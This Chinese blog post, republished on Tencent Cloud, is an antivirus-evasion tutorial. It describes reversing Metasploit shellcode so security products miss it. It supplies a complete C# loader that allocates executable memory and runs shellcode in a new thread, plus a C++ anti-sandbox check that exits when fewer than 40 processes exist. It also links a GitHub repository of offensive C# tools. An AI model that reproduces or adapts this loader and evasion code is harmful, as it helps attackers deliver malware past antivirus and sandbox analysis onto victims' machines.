前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >免杀Tips--shellcode反转

免杀Tips--shellcode反转

作者头像
鸿鹄实验室
发布2021-04-29 17:53:24
5800
发布2021-04-29 17:53:24
举报
文章被收录于专栏:鸿鹄实验室

本文将介绍利用反转shellcode的方法来绕过杀软。我们先来生成一个简单的msf的载荷看看:

查看VT情况:

下面我们来用Csharp写一个基本的加载器,代码如下:

代码语言:javascript
复制
using System;
using System.Runtime.InteropServices;

class Program
{


     [DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);


     [DllImport("kernel32")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

     [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    private static UInt32 MEM_COMMIT = 0x1000;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;


    static void Main()
    {
        IntPtr threatHandle = IntPtr.Zero;
        UInt32 threadId = 0;
        IntPtr parameter = IntPtr.Zero;


       byte[] shellcode = new byte[1] { 0xfc };

        UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
        threatHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
        WaitForSingleObject(threatHandle, 0xFFFFFFFF);

        return;
    }
}

即利用P/Invoke来调用win32 api。

VT情况:

然后我们将shellcode进行反转,再进行加载:

顺便加点反沙箱,比如判断个沙箱进程数目,C++demo如下:

代码语言:javascript
复制
void AntiSimulation()
{
  HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (INVALID_HANDLE_VALUE == hSnapshot)
  {
    return;
  }
  PROCESSENTRY32 pe = { sizeof(pe) };
  int procnum = 0;
  for (BOOL ret = Process32First(hSnapshot, &pe); ret; ret = Process32Next(hSnapshot, &pe))
  {
    procnum++;
  }
  if (procnum <= 40)  //判断当前进程是否低于40个,目前见过能模拟最多进程的是WD能模拟39个
  {
    exit(1);
  }
}

这个就见仁见智,自己加入就好了。看下效果:

最后的代码已传至Github(去除了反沙箱):https://github.com/lengjibo/OffenSiveCSharp/tree/master/bypassAV8

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-04-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档